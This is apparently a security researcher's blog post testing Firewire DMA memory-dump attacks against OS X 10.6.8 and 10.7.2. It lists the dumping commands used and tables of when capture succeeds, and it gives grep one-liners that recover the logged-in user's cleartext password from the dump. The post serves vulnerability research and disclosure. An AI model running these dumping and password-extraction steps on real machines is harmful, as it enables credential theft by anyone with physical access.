Firewire and DMA attacks on OS X

I recently spent some time testing Firewire memory access on OS X to determine the current state of vulnerability to DMA attacks. There is a lot of prior art (Uwe Hermann has a good summary), and I was particularly interested in the claims of deficiencies in the DMA defences provided by Lion (Update: it looks like this was CVE-2011-3215 fixed in 10.7.2, which agrees with my findings).

To check for firewire and thunderbolt ports programmatically you can parse the output of system_profiler:

$ system_profiler SPFireWireDataType SPThunderboltDataType
FireWire:

    FireWire Bus:

      Maximum Speed: Up to 800 Mb/sec
       ...

Thunderbolt:

    MacBook Pro:

      Vendor Name: Apple, Inc.
      Device Name: MacBook Pro
      UID: 0x0001000A19999900
       ...

I used two MacBookPros, one running 10.6.8 and one running 10.7.2 fully patched as at 2011-12-29. Hardware specs:

$ system_profiler SPHardwareDataType

Model Name: MacBook Pro
Model Identifier: MacBookPro8,2
Processor Name: Intel Core i7
Processor Speed: 2 GHz
  ...

I used the pyfw-20041111 module to do the DMA using dumpmem which reads 256MB from 0x10000000:

python demo_dumpmem.py
hexdump -C cfffffffffffffff-10000000-20000000.memdump

and I also tested using ramdump.py and the libforensic1394 libraries, with the same results.

python ./ramdump.py 1024 f
SBP-2 not used, forcing 2048 byte pages.
[<forensic1394.device.Device object at 0xfffffffff>]
Attempting to access device 0: Apple Computer, Inc. Macintosh
Wrote file ramdump.bin.

Target 10.7.2, attacked from 10.6.8.

When targeting the 10.7.2 machine I could only access memory when the screen was unlocked, in all other scenarios I just received zeros. Note I tested with and without FileVault2 enabled, and the results were the same.

Status	DMA Capture Result
Logged in, not locked	Captured
Logged in, locked	0s
Login, log out, at login screen	0s
System booted, not logged in	0s
Switch user from fast user switching menu	0s

The cleartext password for the logged in user can be trivially retrieved with:

strings memdump | grep --after-context=4 longname | grep --after-context=1 password

Target 10.6.8, attacked from 10.7.2.

10.6.8 is the complete opposite, capture is possible in all cases (note that there is a NVRAM setting that can be used to defend against this attack without requiring a firmware password).

Status	DMA Capture Result
Logged in, not locked	Captured
Logged in, locked	Captured
Login, log out, at login screen	Captured
System booted, not logged in	Captured
Switch user from fast user switching menu	Captured

Get cleartext password with:

strings memdump | grep --after-context=3 managedUser | grep --after-context=1 password

Inception and libforensic1394

Update 2013-01-29: I get regular questions about this tool, so I'm going to update this post to record my answers.

Carsten's tool inception, is talked about a lot. He has wrapped the libforensic1394 libraries with some convenience functions to make sure the firewire modules are loaded, and detect when a new firewire device is connected. He's made it a little easier to run this attack, although I'm surprised he went to the trouble of wrapping the library but didn't write the couple of extra lines to do the grep for the password string.

Despite the title of this video and its ominous soundtrack, inception does not attack via the thunderbolt interface directly (that would be interesting). You need a thunderbolt to firewire converter to use the tool since it's just using libforensic1394, which uses the IOKit firewire library, to read from a firewire device. And as stated above, assuming you have filevault2 enabled, it only works with the one fairly lame remaining attack scenario (user logged in, screen unlocked, attacker with physical access to the machine). To his credit Carsten has described a plausible attack, but if you're talking about physical access attacks I'd be more worried about Snare's bootkit.